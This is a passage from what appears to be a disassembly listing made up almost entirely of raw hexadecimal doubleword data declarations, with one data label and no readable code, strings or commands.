		dd 0F8725Bh, 744D5AC7h,	0A61588h, 0FC103D4h, 383183BFh
		dd 4E078B01h, 0CA8CF68Eh, 5ADBC430h, 6AF80940h,	886D7B05h
		dd 6494D2CCh, 17472780h, 35433Bh, 9AC916E6h, 11B21F6Bh
		dd 5687E707h, 7C2077D9h, 0C0974D30h, 9A222AD9h,	1C94C9B9h
		dd 60453028h, 0B9F69330h, 16AC8060h, 75585B6Ch,	8C141301h
		dd 0FBF2E9DCh, 4B126029h, 0B30D2AAh, 74000444h,	22668BF9h
		dd 2EA323CAh, 0A420154Fh, 0D55A58B0h, 0E2240F12h, 93FCDC08h
		dd 7FAC90E5h, 0A7EC1167h, 0B533B707h, 3E324478h, 82585002h
		dd 0B0984CB8h, 4488B0ACh, 3012CA1Ah, 14D1E45Bh,	81305DBBh
		dd 4E2517C2h, 0F58526Fh, 0E58A0AACh, 918C001Ch,	0F2FC67A3h
		dd 61AD3801h, 714496D7h, 0A4EB8642h, 0D10957F8h, 6DE614C9h
		dd 5D8F001Ch, 6521403Dh, 4E4B0030h, 0D35C27AAh,	0BD0933F1h
		dd 51487CC9h, 6F430A0Ch, 0DE3400D6h, 5A814039h,	98A1B574h
		dd 4D4A10A8h, 4554037Fh, 0F826121h, 0FC24C9F9h,	0FCF1294Fh
		dd 0C409D2CFh, 0B93B53h, 0FBC90FFCh, 0ACD64846h, 24C23589h
		dd 75C040DCh, 38DC2136h, 8184F66Ch, 800AA18Ah, 108C4971h
		dd 49B1912h, 8112E490h,	27BC018Dh, 89EE5062h, 9E3E3078h
		dd 1D0E5D00h, 8CDF3BF6h, 0E64F0124h, 0CD968586h, 0F38FD0C8h
		dd 2350260Ch, 0A218F4h,	0BB7AF065h, 5F8D8A03h, 0F9D131C0h
		dd 0AE507Bh, 9147091Fh,	0BA2B8B8Eh, 66F4500h, 0D2F99F22h
		dd 0B9C50C71h, 0D38A26Ah, 67FA6400h, 84BB5C52h,	0AD930C0Ah
		dd 0DB2161B8h, 0D26A6300h, 0E52FF115h, 47CE0036h, 2B684369h
		dd 42E0918Bh, 0CD50C563h, 0E6A000B0h, 0F2BD503Dh, 1B002E72h
		dd 6F98DD8Eh, 1283652h,	73C1EDB9h, 809D685Fh, 82592631h
		dd 0D421C5h, 9B58B1F3h,	5B67D16Eh, 0A601737Ch, 0DD402D29h
		dd 188E66A3h, 0D60799B6h, 0C758F28Ch, 60B84D40h, 703880F9h
		dd 2FB10C14h, 9D170490h, 406CA04Ah, 3452CD24h, 0A2E06751h
		dd 534AD0E1h, 5660B877h, 0B50F5741h, 0C5E4DEh, 0D99A9C20h
		dd 8E9B1A1Dh, 45ABE900h, 7E1CEC38h, 1C9F7487h, 5014817Ah
		dd 0E5CE0C66h, 656C184h, 57AB077h, 71038197h, 9382BD72h
		dd 18B2A3A6h, 31865E28h, 9100FEA1h, 3FF41E1Ah, 891844h
		dd 0EB735C09h, 43542390h, 0B86E49C3h, 0B17C75h,	90250779h
		dd 37A0804Eh, 0E1D0670Eh, 31D7CD4Bh, 0A17B46h, 7CB7F6ECh
		dd 0E44F05D2h, 1258271Fh, 0D061E4FEh, 79207A22h, 1F3EA80h
		dd 0A8E4F09h, 201496EDh, 6750A075h, 9A882730h, 6379005Eh
		dd 208A261Ch, 9FEA65Ch,	3A823604h, 9043DFC6h, 87808E37h
		dd 0D23F05A2h, 9320235h, 0A0685906h, 5E3E6A88h,	5BED002Fh
		dd 0A1F648DCh, 0BB00CB37h, 0FE049158h, 9C69871h, 6F64201Bh
		dd 27505780h, 9B0397D4h, 51903A8Dh, 0C7C9287Eh,	0E19300DCh
		dd 74A913DAh, 8DF14E4Dh, 99D9C9E8h, 0E50C4840h,	83A91DDCh
		dd 0FA48AA2Fh, 9A02005Ch, 0CCDECE47h, 0A300CB84h, 0AB7D9956h
		dd 48EFC97Bh, 0D9002885h, 71F8FDE9h, 0B70C3D5Ah, 89625B93h
		dd 51BCE178h, 7AB14507h, 9311AC1Fh, 85645948h, 1400BB4Bh
		dd 0F65F50BCh, 633E05EBh, 4025C98Eh, 5CEC84B8h,	7900AC4Ch
		dd 0F4707AF8h, 60B840AEh, 0FE6D497Dh, 7E04A383h, 0E3CE264Dh
		dd 1CBAB088h, 3A4E9287h, 138C0D0h, 2C91E6EEh, 2258B042h
		dd 0DB60004Ch, 0C7F7D793h, 0BF9C00A2h, 0A8F5E716h, 32008172h
		dd 0FEBB02EEh, 603D93h,	616BAB9Dh, 0E5689645h, 6415AE1Dh
		dd 4800B91Fh, 2A25EF66h, 2D9C03FEh, 1180C0E8h, 0AA1F38E6h
		dd 0AB10626Bh, 2090D01Dh, 0BA067800h, 396A0A4h,	1216018Dh
		dd 0EA9BDDF1h, 685886F0h, 3839AF3Eh, 4D00CB0Dh,	7551FAB0h
		dd 6000D4F2h, 0C1AD3AC8h, 0CABDD79h, 932EF43Bh,	0F8D89A61h
		dd 313AC949h, 17B8532Bh, 5C6B1077h, 0A61D2ACh, 80C51B2h
		dd 38B7B865h, 195B9188h, 0A259D8C1h, 130A1BE8h,	1E6145Eh
		dd 0C1C37033h, 0F42186FCh, 5C919137h, 0DD26C7AFh, 784931D5h
		dd 0AA59E43Ch, 5E3AF2FAh, 9D0280BAh, 0D33AAF21h, 0D0CD1D5Ch
		dd 0DEE4806Ah, 0C864EFA9h, 0C5C48C51h, 0A41113A8h, 5D603040h
		dd 0F4145298h, 8484EE34h, 9050D9E4h, 0EC1D9221h, 0D0A62922h
		dd 1985009Ch, 32D610CEh, 0F7E659E0h, 0A241793Eh, 0EEA50058h
		dd 0A31A8E57h, 46B80FA4h, 54FC75Ch, 49D5BFDEh, 489496C0h
		dd 0DB310543h, 40B35B6Bh, 0CE1157A8h, 37FAEB97h, 9C7D5819h
		dd 2185B7D0h, 2115B9E4h, 11B566C4h, 745612AEh, 45340061h
		dd 17FEEF56h, 0E60631E4h, 65B8AC44h, 23A00029h,	7D3DC39Fh
		dd 53014018h, 80FA4A2Ah, 0A0512D3Eh, 6B109BD0h,	5A1D2AC3h
		dd 3340B60Fh, 1F69A877h, 100C0D5Dh, 0DC2986D0h,	0CA01AC5Fh
		dd 0BD4BABC9h, 68702BD7h, 0E8A105C3h, 330731F2h, 0D4E03780h
		dd 130622BAh, 309AA9DAh, 484B0DA9h, 4C87EF8h, 603011CCh
		dd 0DF7B111Eh, 0C000FE0Ah, 0A5CD2EC6h, 600A4B35h, 0F83D8DD1h
		dd 773A6F90h, 0F0C0FC41h, 9D2188h, 0B43BC9A2h, 88765AB1h
		dd 6F59F900h, 0C11CF87Eh, 9F803027h, 2FEA2A8h, 0A8317F00h
		dd 48C892C9h, 602D48F4h, 8CC1A387h, 0EF009B59h,	799365D9h
		dd 9EAEA8h, 0FC868201h,	5E49A5FEh, 69917C05h, 0E040CB3Eh
		dd 7475033h, 5AB4001Ch,	0DF86480h, 2FE01225h, 750BC109h
		dd 1A5410C0h, 9203D3Fh,	41BBEF00h, 0A0085E0Ch, 0F4DE0D24h
		dd 13AEE404h, 0E3D065Eh, 0D03069B4h, 0F765199Fh, 2B3B00FEh
		dd 4A8FA6ACh, 0EA321F0Bh, 963AD8FFh, 779C3DB8h,	0F0F2FE80h
		dd 0C010BCE2h, 0B60D037Ch, 319639F4h, 0CF46DC00h, 0CC344826h
		dd 746A2477h, 0F0E14760h, 115658E3h, 0DAA7180Dh, 0EAE43031h
		dd 78271E0Bh, 0AD3E089Eh, 0EB105787h, 0CEA08977h, 0ACB9C64h
		dd 1EAE8ADCh, 49AB80E8h, 3B4D3146h, 0C4808899h,	28DCA248h
		dd 89EA00E7h, 71C78DD8h, 3C9286BEh, 2106DF0Fh, 1C20E057h
		dd 0EB3DD958h, 886ADC30h, 0B8A8DFC1h, 0F53EEE26h, 0BEA88206h
		dd 41BB5799h, 0DE10DB24h, 750E599Dh, 6002558Bh,	0EC519467h
		dd 309E15E4h, 2000689Fh, 1416A82Ah, 0C70E1E69h,	8B8FD34Dh
		dd 79E68C88h, 12DF0003h, 0CBF7898Eh, 0C9249E2Ch, 0B980C8D1h
		dd 733FE849h, 0DC1B28EFh, 79F48684h, 0C06DEA45h, 12BE9711h
		dd 460129A7h, 548C0E2Bh, 6C5093FDh, 0E445B520h,	49170126h
		dd 0E0D9284Dh, 2230334Ch, 33B0F6B7h, 6319E2B6h,	0FC1052BCh
		dd 31E44038h, 596B9F16h, 1B141C32h, 0D0A221E4h,	0DDC060E0h
		dd 0C987D811h, 2F0FD733h, 0EF810E40h, 0FFFC061h, 12B3E82h
		dd 0E90145D1h, 0CAB9E077h, 0C0AC3C84h, 5DC5C69Ch, 0CD4F4904h
		dd 0C80B733h, 0AA797E0h, 5210AEE1h, 0E2631F44h,	286FE402h
		dd 64093BF4h, 0DEFA0010h, 0B5ABC73Ch, 993E3159h, 5F5E1246h
		dd 0A8918C08h, 30265887h, 0D4905922h, 6ED0CA44h, 0F5002995h
		dd 27656F46h, 0AFC98103h, 0E91EDC9Dh, 0C454E8C1h, 832F64C2h
		dd 3DDC740h, 2EC9419h, 6ED678D6h, 0B80E1898h, 0A50E1296h
		dd 0A85246C0h, 44377012h, 9806F37h, 0B1D0DCCFh,	0B8B00068h
		dd 418B20B3h, 9B0AE413h, 3E69CB18h, 40B9DDAEh, 0FB673201h
		dd 0D5037761h, 0DD306A70h, 0FBB0AB47h, 7C294C91h, 582DE606h
		dd 1222709Dh, 8C87440Ch, 3EDB5E00h, 0CA3453EDh,	9C220121h
		dd 0DA06A547h, 0B4C9F0C0h
		dd 1F044CB8h, 5EB882CDh, 0FEEC0012h, 55A54608h,	0EC453F1Dh
		dd 1E9604Eh, 665CE3E7h,	91B880ECh, 7D560B3Ch, 0AD800B8Fh
		dd 34FB9B59h, 899ED030h, 3DFEAE22h, 0FF00C0D2h,	46187F3Ch
		dd 0ED489BF9h, 0AD458284h, 0B286419h, 0BD5826E7h, 82313C02h
		dd 0F5D29A21h, 88B29848h, 0C0006952h, 6B6C9588h, 0FEE4392h
		dd 0A3CC5894h, 0AF685198h, 0CBE3800h, 4893FE0Ah, 7F2409B3h
		dd 94103D9Ah, 0C002EE3h, 0FD3B1967h, 1D44C7h, 2D821ADDh
		dd 4EBD85F6h, 0E0CE4831h, 4442ECEAh, 0D2B621CBh, 2ABB601Ch
		dd 0A4832E01h, 9E8060AFh, 994F0h, 0FE4493Fh, 0DC1A3B14h
		dd 0AC1FDD1Ch, 0C04859C5h, 8126C00h, 0E90A152h,	2D1D6166h
		dd 400EDA00h, 0DD5455A6h, 7D00647Ch, 88F36F89h,	267A25A5h
		dd 2CFC4BA8h, 0B63A4094h, 650F08EFh, 36576E6Fh,	84102420h
		dd 5C52001Fh, 0E95FAD05h, 0F04DAFCh, 0B8B55E36h, 0F8F0D489h
		dd 0AE6D0274h, 6B4D32ECh, 88B978A0h, 0E11D271Fh, 0CAC04964h
		dd 403C0908h, 4ECB021Eh, 596A78EBh, 134290E6h, 5E3410h
		dd 93E96548h, 0A0582CE7h, 3259F588h, 41295FB0h,	0EDA924C0h
		dd 54F0BC00h, 0BA4BC9C2h, 620A04B8h, 82BB67F8h,	37206A44h
		dd 0EB2D57h, 59098A89h,	0B2490299h, 839EA900h, 0AD464F4Bh
		dd 5CB32Bh, 0F46B532Fh,	0A1C28F30h, 91F2ED9Ah, 0A410C9F0h
		dd 0D3E4A3EAh, 108DC700h, 69A63D9Bh, 5A9C0C60h,	0F1C0E0E8h
		dd 17115900h, 0A97C3033h, 31DC065Fh, 499A606Ah,	5420594Ah
		dd 77C88F8h, 5E8D212Bh,	3D03F02Fh, 59730CA4h, 0E3C1B118h
		dd 0E493D389h, 207E617h, 0C99CE031h, 0A046E69Ah, 0BCCB3700h
		dd 0E78E542Ah, 4858001Fh, 1B214398h, 592CAF70h,	571610A0h
		dd 0CF45F807h, 0E67F1FCh, 0C8CB0B9Eh, 0D316803Eh, 0BD30DBFCh
		dd 0CDBC8E05h, 10C19FE1h, 0D4421428h, 0FEE06CD9h, 8CD0D4D6h
		dd 48E0D211h, 3DC01894h, 1B14838h, 0D177E566h, 0E430EE65h
		dd 0C13B3423h, 52B60050h, 1BEB0D4Fh, 31440089h,	0C3BD49D1h
		dd 7D3F4226h, 0F06B26ADh, 22B65F42h, 0E4901FAEh, 0E83C123Bh
		dd 0E4DC8095h, 0BABFEC15h, 0F4530CCFh, 4BE9992Fh, 67BEF4Ch
		dd 3EFFF032h, 0B1DA60A2h, 52F879E3h, 17B720FFh,	1FF2761Ch
		dd 0D8DEA002h, 8C4C1h, 0BF94A5FAh, 5266B67Ah, 0CAEB712h
		dd 0DD5AFC88h, 0B6C4815Eh, 8CCE999Ch, 98AF3140h, 677D0AEDh
		dd 0ED853CBh, 3FC023DBh, 521EE851h, 0E909EF4h, 0A5E39B00h
		dd 2DE7AFADh, 531A30AEh, 96104861h, 783C3031h, 82155711h
		dd 0D20C8D8h, 0F6358F78h, 0EBAE3DAAh, 116171Ch,	0B119C6C7h
		dd 96482074h, 0F0E9D8A0h, 84468Ah, 5377E7EDh, 549F873Eh
		dd 60F8DA00h, 484B586Ch, 44E490AFh, 0F760C142h,	0FA9ED41h
		dd 75E77299h, 0C36B0E0Bh, 7C01F0B3h, 70D1DA03h,	0CD012F04h
		dd 0EE341630h, 0AC4C930Ah, 0E9330311h, 14DCC597h, 0A31C87DCh
		dd 0B0A945CEh, 9D18600Eh, 3020994Ah, 0B88F0503h, 0C7963AB7h
		dd 5A86E480h, 9D0E6266h, 55214500h, 476FC96Ch, 0A491C0h
		dd 0D384C09h, 491BE5C2h, 0B8193D48h, 28C51083h,	5CD0F992h
		dd 0A781B03Eh, 0F4F8FBE8h, 60FED342h, 3E9EA008h, 536780B6h
		dd 0E773FCCAh, 3A581104h, 6C8051A5h, 62746A4Bh,	81D129C5h
		dd 28191448h, 0D41B300h, 0C80EAE94h, 21990029h,	0AC376CE3h
		dd 46019A40h, 23A9351Fh, 143C9B78h, 0B1A9CE8Eh,	5C017464h
		dd 0A69D9AF0h, 0F0D337FFh, 0A07542Dh, 96D61A3Ch, 58A8064h
		dd 8B11CF71h, 0D8EEAA0Fh, 2295098Dh, 5BC858ACh,	57F38050h
		dd 8AA4FFEDh, 2331800h,	0E95985F5h, 0B48B0405h,	0B0824844h
		dd 0CF226478h, 8FE68Dh,	0E03519A0h, 1F89DB67h, 1D519494h
		dd 6B0CEE4h, 3E95315Eh,	8E8081B1h, 8D00BE4Eh, 7F6498FFh
		dd 0CCE2FA9h, 0DCE79A88h, 890145F9h, 0FE58B14Ah, 0C289D31h
		dd 0FC14AFCBh, 30260820h, 6F19DEC1h, 3F01CEA9h,	0B3457E56h
		dd 6761E414h, 89A2CC40h, 4F64006Dh, 0B058D5E6h,	0DE54CB28h
		dd 0C0BBB594h, 438A3400h, 0E60B9048h, 0FB2E00E8h, 2152F4D3h
		dd 0C1E47427h, 0D622300Ch, 0F352059h, 8EFDAEFBh, 24C41413h
		dd 3378C0DCh, 27CA512h,	0D60A467Fh, 38AF666Bh, 43CC1E00h
		dd 0B8B2DE37h, 3B4E06FCh, 0F984D0AEh, 0C7AC8500h, 98DA6416h
		dd 323F00F5h, 0C2BA919h, 2209BFB5h, 84FE797Dh, 1352D9D4h
		dd 0F2B88990h, 13592010h, 0BC38E858h, 0A0922C4Eh, 7B44980Fh
		dd 91A07FB8h, 0EF08044h, 2216DBEEh, 0AE78C538h,	0CD0EA690h
		dd 25E74499h, 5A2488E6h, 6D313F8h, 1966B894h, 94171000h
		dd 0FA646059h, 0DFF5F5BCh, 9C4518F0h, 0E6BA3F58h, 80F270Fh
		dd 0C04693A7h, 0B33E281Fh, 71E7D88h, 5BE3ACB8h,	0FA6FEED9h
		dd 82B56265h, 4C51DC31h, 0E804BE80h, 16A94E2h, 5EA7C6FAh
		dd 22528133h, 0CA6110E0h, 5C809C88h, 3DB623DEh,	0D6ED5C8Dh
		dd 0E43CEE1Fh, 0D9660048h, 2B46A222h, 3C6C0D24h, 40074ACh
		dd 11C6E86Bh, 869201A5h, 6EEC1958h, 3861EAA4h, 348017B7h
		dd 3CD8C5EAh, 704AF711h, 8B71EF78h, 360E6398h, 8A3F743Bh
		dd 9027CCD6h, 2A07DCh, 0D1815C99h, 0E862C217h, 80FDFF0Ah
		dd 6614E0A5h, 0B7207DC8h, 0C866F3E6h, 626BBD09h, 134630C4h
		dd 78CB5001h, 66AC1022h, 0D026BCh, 0A11D9743h, 0BC43BCF8h
		dd 414C252h, 0E07D4F9Bh, 9BE9850h, 2A0B003Ch, 0D6B57EF3h
		dd 0B8B08CCAh, 0E8409096h, 0FAAD96h, 0E22BCBB4h, 3058EDA9h
		dd 152CCE05h, 2480FB78h, 6234F431h, 0C04B61FDh,	0DB002CC4h
		dd 0BF5E731Fh, 2FBD1C23h, 87D8F666h, 985830F2h,	9DFD0114h
		dd 499CBC80h, 5B4BB5ECh, 31A040C7h, 0ED09D66Bh,	0CF55A514h
		dd 27933D86h, 80A42167h, 0C9D14730h, 4A40438h, 489A8C90h
		dd 54FF8095h, 897843D8h, 2B293400h, 52C06F8Eh, 0AE353C3Ah
		dd 48C0404Ah, 7F52408h,	1F575502h, 42AEFAF4h, 4CE418h
		dd 10370309h, 501A24B6h, 8C54D50Fh, 7994E4EBh, 0A00CB3C2h
		dd 0C31EF428h, 58C801E7h, 0D089BB97h, 5499809Ah, 264C04FAh
		dd 76EEE05h, 9F5BD2B8h,	0F566619Dh, 3029BEA0h, 70555167h
		dd 6DD21CCEh, 33FA0056h, 0ED9B01EEh, 0F490C0A4h, 0B03AAC7Bh
		dd 1C490270h, 910F7476h, 0A017F6D4h, 10BDECEFh,	0A692EB00h
		dd 0DBC0679h, 0C67139E1h, 164886A6h, 0A50020C0h, 30796FEDh
		dd 97E23417h, 25B98031h, 0A2A7C4h, 75625552h, 7EEF09A4h
		dd 26B02000h, 6AE43112h, 0CC8A50FBh, 7B6EE6E0h,	0E8AA0945h
		dd 90194C36h, 6BE989A7h, 43A8E45Eh, 0F5C210Ch, 5A04A832h
		dd 19DD41B7h, 0D033E1AEh, 95C6F300h, 0E6D58CFFh, 66C03C00h
		dd 0CEBE1B33h, 0EA081C2Ah, 48540BE8h, 20CF5898h, 80A0BF3Ch
		dd 90F73273h, 3F03095h,	6F776DD3h, 7105933Eh, 4A2B34B3h
		dd 4B9480Ah, 0E9C127FEh, 0C2BD4C81h, 0B3A034D2h, 0DECE3102h
		dd 0C81DEE30h, 0FE02AACh, 0FFBD3BA9h, 9C729B9h,	1E1219C1h
		dd 89D58310h, 7A6109EBh, 8E122990h, 0FF22F1A6h,	271A300h
		dd 0ED8F5676h, 29DB015h, 8C596E6Bh, 1F4046F2h, 1D02837Ch
		dd 1BC336BCh, 706B405Bh, 347803h, 27505707h, 44EA126Dh
		dd 5B4F7200h, 6C036226h, 52DC07ABh, 90E22E65h, 56F796D1h
		dd 0A92E600h, 0DE855A55h, 2E880039h, 14677857h,	9008DDBh
		dd 0E4B64F36h, 3FCDC5E1h, 69802933h, 9EF9C15Dh,	86F00D10h
		dd 4D77B000h, 0EF41BC61h, 461E12FEh, 4B0B0E53h,	929B1C60h
		dd 8A00AC23h, 16913897h
		dd 32B7D1h, 8BC3D72Bh, 0E525083h, 64CF5375h, 407C412Ah
		dd 7B6093ADh, 96BA0068h, 570B72F5h, 0E018DFFh, 0C7E60A77h
		dd 402A941Eh, 49C8461Ch, 47F2CFF0h, 0D18BC10Eh,	55A9A06Fh
		dd 0BCC66Bh, 464569F4h,	0CFAA437Ch, 9C901600h, 86C2C04Ch
		dd 0BAB00D2h, 0A8B36350h, 92005E79h, 0A997C57h,	8ACBE0h
		dd 0B9FDB628h, 7110ADD7h, 7B0E4D74h, 7989A1Fh, 0B79012ABh
		dd 3D91B0h, 92A90C25h, 85D283B4h, 120064E0h, 38DFDC74h
		dd 1FB850h, 484DEB20h, 5ED94524h, 3D831600h, 0E322BE4h
		dd 7727004Bh, 9BD516Dh,	86006760h, 0A46B61D6h, 38FEFC8Bh
		dd 785955B0h, 3E8B82Ah,	33AE7A5Ch, 0CF90739Eh, 9B39590Bh
		dd 801ABE16h, 0A7094A60h, 9345A6h, 991E892Fh, 8E469B44h
		dd 804B533Dh, 0AC5209F0h, 0FADC9C61h, 1D0007Dh,	6664F3D2h
		dd 5902433Dh, 41F18F54h, 0D9C18099h, 500E24h, 4A77F01Ch
		dd 0B0A28D90h, 9F7E8907h, 529011BAh, 208A2Fh, 0E87807A0h
		dd 2E09CC93h, 6C88AE04h, 3B802BC0h, 1EEB2AC9h, 1CBD8E4Bh
		dd 5F00389Ah, 34175CD4h, 0D81EB06Eh, 0B39F137Eh, 14C3300h
		dd 0F7E910h, 0BCB81650h, 1D2B3FD5h, 0E9C3209h, 98310E6Dh
		dd 7EFB612h, 30C4EBA5h,	0DF8A30E4h, 0F40078EAh,	25A6494Eh
		dd 9A3C12h, 3277DB6Dh, 3D5E192Ah, 650021E2h, 26D6477Eh
		dd 3863A379h, 7F95428h,	10707D34h, 7B5FD006h, 0AA00C8C1h
		dd 2E5880A4h, 0FEF5810Ah, 0B7D5245Bh, 224E0F5Dh, 0E00BB57h
		dd 82F09B67h, 0EDBFC89h, 0C7EA5AC4h, 0B597A401h, 0A6B7205Fh
		dd 0A04D7400h, 0F033416h, 0C2B33C39h, 200653Ch,	0CFB2380Eh
		dd 0CB0161C7h, 0D7C3090Bh, 0D1C0E721h, 0BC3C3962h, 3EDF29Ch
		dd 5B5006D5h, 0FC93FDD8h, 150C6100h, 3886449h, 6353380Bh
		dd 0F695CB00h, 59475DA8h, 0CEEF6A00h, 0EE44488Eh, 229A00A6h
		dd 0C5A19053h, 0CA00C9CCh, 9B14DDBDh, 5C28AC7Ah, 81CA52Fh
		dd 0DE0E8318h, 419003A5h, 9A05AD56h, 65CDDA96h,	0D4C87AC0h
		dd 4EFA001Bh, 4EEC7A9h,	4FF81AC6h, 48C49400h, 431488A1h
		dd 9C790FCEh, 5AA001FAh, 0F4B6C3DFh, 0E00092F4h, 9F052B75h
		dd 3B46C5D7h, 160F66FEh, 1E564B52h, 1F30056h, 0D12F244Ah
		dd 14781E00h, 8A96B4D0h, 0CB630087h, 7FC42DC5h,	30F6ADA7h
		dd 17DCFB3Fh, 3AF2151h,	2243B7A2h, 0D5C015B2h, 6803B598h
		dd 411F1BFh, 0F94CF8D0h, 88AC00E6h, 2120AD63h, 0F0009493h
		dd 90362B70h, 3CC27BF1h, 780D8A2h, 317C59E8h, 5D00D9A0h
		dd 6933E260h, 7A1E16Fh,	63CB6B30h, 80494192h, 0A4D3D45Bh
		dd 8CFE691Dh, 4240245Eh, 8937903Eh, 51D003Bh, 80D6068Dh
		dd 6900DD13h, 5A09FF3Fh, 5746BE9h, 89C96636h, 8A218096h
		dd 11184780h, 1E2055B3h, 532803F0h, 64FA2A16h, 0FD961C90h
		dd 23B56A05h, 0D00010F8h, 5741E3B0h, 362F04F1h,	0C0CD3467h
		dd 0E11D5103h, 6E9EC800h, 4AB28D3h, 0FB1B00A4h,	3967D655h
		dd 0F900CC0Ah, 0F585ACA7h, 2478257h, 172878DBh,	684043FCh
		dd 0A703FBBCh, 276A2B40h, 0A6FAC1E2h, 772AF8h, 0E3D3D92Eh
		dd 49CF4A81h, 59585E03h, 0E9E4C5EAh, 5DE0446Ah,	3EE3EC8Eh
		dd 258475DAh, 0F1AF429h, 40C30850h, 4258CEB6h, 3C72801h
		dd 94A82A12h, 0A03E9641h, 531420h, 0BA292E13h, 7A91818Ah
		dd 809C223Dh, 0E145E4C0h, 19FF50h, 0EFAE832Dh, 6094F0CAh
		dd 0FA7A2A00h, 75187E2Fh, 413200ADh, 21B8EFAAh,	0B7000F92h
		dd 8698D17Bh, 351610Ch,	0F9B68F24h, 15A894ABh, 30002E6Ch
		dd 23EB53FFh, 6A5409h, 0D478D6D9h, 0E8A43BE7h, 4D7C0998h
		dd 630BB900h, 105DCD3Ch, 3D0300CCh, 52F27F7h, 3700C4B8h
		dd 0F89DFEBAh, 0E54A72h, 94203016h, 0E898330Ah,	6303767Eh
		dd 0DA2490C1h, 0FCBAC01Ch, 0D5A20014h, 6689A38Dh, 0DBA3E76Bh
		dd 23A3E00h, 0E1A8E0Ah,	0C971F0h, 1BCF54B2h, 5ABCD1CDh
		dd 38DD3500h, 1FEC7403h, 60B507F3h, 502942B8h, 47430E97h
		dd 0E00109FAh, 0B1062E11h, 69E4F3C4h, 8BB901C7h, 92AF554Ch
		dd 9A273064h, 178A33Ah,	0DE6F3441h, 5020239Bh, 0FCFC13h
		dd 6EA80A7Bh, 2A15D0D4h, 0BE80F200h, 84347091h,	0C75B0020h
		dd 9A8826ADh, 0BF00F8B9h, 2F1B6E4Ch, 0ECCEA7F7h, 0B035035Fh
		dd 8C927A24h, 2B0D26D8h, 131E0600h, 100C65D5h, 5DF100B3h
		dd 1A733AA1h, 4000F2EAh, 395B4262h, 1CE66486h, 407E4A74h
		dd 0FAD2C35h, 0C70190C9h, 5007CB5Bh, 42D4C806h,	492500B3h
		dd 3B94AA0Ah, 5EE4BE46h, 1E298560h, 264B892h, 7FF1A5EBh
		dd 93C27662h, 32409080h, 940F2AC7h, 80465178h, 602081BEh
		dd 98770E15h, 2C0097D6h, 75A80F96h, 0A45648h, 0F5CA9CCBh
		dd 3FE7B70Eh, 2E131C19h, 996C0032h, 9B121D7Ch, 867EFF00h
		dd 0BA5CA692h, 0C89500F5h, 544EDDA8h, 49002F9Fh, 0E77A64F2h
		dd 3A1F3AF0h, 0A71E584Bh, 34768081h, 2A6B2B7Ch,	13FAFE04h
		dd 59803243h, 3ADD06B4h, 0D548D8BBh, 0E89F3100h, 136799F9h
		dd 0EE36C61Dh, 94662D40h, 2023819h, 93C3F06Ch, 9443B922h
		dd 6835B590h, 5200A67Fh, 3BFA200Ah, 17B6BBh, 0C39480F0h
		dd 2AA96742h, 0C4505200h, 918CBE4Bh, 0D4370062h, 20211F8Dh
		dd 5DB86C3Ch, 86043400h, 0B2E9299h, 23430065h, 0B17514F2h
		dd 8C1CA68Eh, 1A401E90h, 0D7D85D53h, 0C046C1C8h, 7048CA7Dh
		dd 0E800C33Bh, 56629434h, 0ED02B7h, 496A9DB5h, 3A57DDA0h
		dd 86E94A00h, 3EEAD18Dh, 80330123h, 0E1D2829Bh,	5560603Fh
		dd 0D6666300h, 23F44AC3h, 643A3C13h, 0F8A6077Fh, 90390C44h
		dd 0C2EE0DE0h, 52002690h, 98075AB4h, 49B5D1h, 0B8E7ACA1h
		dd 16F54FE5h, 937E3600h, 0BBE827BCh, 6C0100AEh,	22496274h
		dd 3400525Ah, 0C677DDB4h, 6A32B6h, 8FF47124h, 0AEADF0CEh
		dd 157C2E00h, 4929CDE8h, 0DD2F00C6h, 263C50DEh,	0DC000DFFh
		dd 122D208Fh, 0B0E19Ch,	4D71E391h, 8D9F439Eh, 26A4BE00h
		dd 20BDD0CCh, 39AC00C9h, 35933D02h, 251E781Fh, 9180F25Bh
		dd 0BC133BCAh, 0BEDD00D4h, 8BD38A22h, 56000720h, 86214117h
		dd 4D023h, 0F640D59h, 0B1ECAD06h, 0CB113718h, 0BBEF48h
		dd 4A7FA121h, 58AA583h,	3C91CD09h, 0C0BE0E40h, 0B530ABBh
		dd 8E58C1EBh, 0F8F38367h, 0BE009094h, 7AF04FD5h, 5CDAC9F7h
		dd 12010CA2h, 0C644F15Dh, 43B44858h, 3F7B8600h,	616B0BC8h
		dd 1A9C0E3Dh, 3AABE152h, 11A8C300h, 0C5EA2F49h,	14157600h
		dd 6FE3735Eh, 0A37C22h,	656D300Ah, 49BAA433h, 0C3A2A500h
		dd 0A9E55DB8h, 77E2008Dh, 25340426h, 0A800957Ch, 6372A22Ch
		dd 50654D43h, 66B773h, 2B9D2D18h, 68A7B6F7h, 9150F400h
		dd 244EFB9Bh, 0EE7B002Ah, 0B4A37FDCh, 287E13A4h, 5279A900h
		dd 0D66FE849h, 0B5B861h, 6C19665h, 0CB2BC8BFh, 6A09FE03h
		dd 0E8EF3CFFh, 1944BB0h, 581DBD88h, 0E0B4EA1Fh,	18005184h
		dd 16E14643h, 54E0B9h, 0E38F87D5h, 34B11366h, 0EDADDA00h
		dd 6E25CD70h, 8E40002Fh, 0DED4D12Ch, 280FDCA9h,	804E5EA0h
		dd 5654E3DAh, 0DD0C00D5h, 659BFB9Eh, 983AAA11h,	402380DFh
		dd 0B01C0A3Bh, 96BA0099h, 8ACFF53h, 0FE2C98C8h,	2C00C74Eh
		dd 0F9232B5Ch, 43FA0542h, 0C04F8795h, 1BDC7107h, 0D33A2700h
		dd 0E3FDF9EDh, 0C35200D2h, 0AAE0F08Ch, 457E40EBh, 319B9400h
		dd 0B1FD4F86h, 0E7E800A6h, 0AA8E80B5h, 0FF00179Fh, 36BC4D75h
		dd 2AD18Fh, 0F264AEECh
dword_5A8A7C	dd 0A099C888h, 0B0A17DFCh, 50A6206Dh, 7AC354Dh,	8C9E6BEAh
		dd 0B3267990h, 0F13800B0h, 21D4365Eh, 9300CEF2h, 9529BE12h
		dd 7A2E90Bh, 0E010871Fh, 96605E68h, 0F99A8584h,	86060E3Fh
		dd 2D7D3DFh, 0FCA50640h, 4226B944h, 64705507h, 0C03FB7DBh
		dd 152460CFh, 259E00ECh, 0DDA104C1h, 0F53B57D5h, 91340037h
		dd 9D7D1E1Fh, 0C3D10025h, 0DAEDF9D9h, 0FC0F0477h, 0E067DF9Bh
		dd 0B3F5785Ch, 0C5790747h, 242A8943h, 2CB480C3h, 23016FD3h
		dd 24C01F1Eh, 9BEC5DD1h, 634E00BAh, 5B759879h, 7E001A66h
		dd 1755E950h, 7349850Ah, 4C7ED4h, 4BD1A840h, 0D3769953h
